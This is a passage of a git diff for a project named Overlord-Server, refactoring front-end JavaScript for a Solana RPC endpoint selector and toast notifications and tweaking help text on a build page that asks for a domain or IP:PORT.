+ seen.add(endpoint); + endpoints.push(endpoint); + } + return endpoints; +} + +function appendRpcOption(value, label = value) { + const opt = document.createElement("option"); + opt.value = value; + opt.textContent = label; + rpcSelect.appendChild(opt); +} async function loadRpcEndpoints() { + rpcSelect.innerHTML = ""; + let endpoints = []; try { const res = await fetch("/api/sol/rpc-endpoints", { credentials: "include" }); if (res.ok) { const data = await res.json(); - if (Array.isArray(data.endpoints)) { - data.endpoints.forEach((ep) => { - const opt = document.createElement("option"); - opt.value = ep; - opt.textContent = ep; - rpcSelect.appendChild(opt); - }); - } + endpoints = normalizeRpcEndpoints(data?.endpoints); } } catch {} - const customOpt = document.createElement("option"); - customOpt.value = "__custom__"; - customOpt.textContent = "Custom RPC endpoint..."; - rpcSelect.appendChild(customOpt); + if (endpoints.length === 0) { + endpoints = DEFAULT_RPC_ENDPOINTS; + } + + normalizeRpcEndpoints(endpoints).forEach((ep) => appendRpcOption(ep)); + appendRpcOption("__custom__", "Custom RPC endpoint..."); } loadRpcEndpoints(); @@ -192,3 +224,4 @@ publishBtn.addEventListener("click", async () => { publishBtn.innerHTML = ' Publish to Solana'; } }); +})(); diff --git a/Overlord-Server/public/assets/toast.js b/Overlord-Server/public/assets/toast.js index fe3678c..251890a 100644 --- a/Overlord-Server/public/assets/toast.js +++ b/Overlord-Server/public/assets/toast.js @@ -1,3 +1,4 @@ +(() => { let toastContainer = null; let toastId = 0; @@ -84,3 +85,4 @@ function closeToast(id) { window.showToast = showToast; window.closeToast = closeToast; +})(); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 9afde15..9ec7412 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -190,7 +190,7 @@

- Just enter your domain or IP — no wss://, https://, or any other prefix. + Just enter your domain or IP:PORT — no wss://, https://, or any other prefix.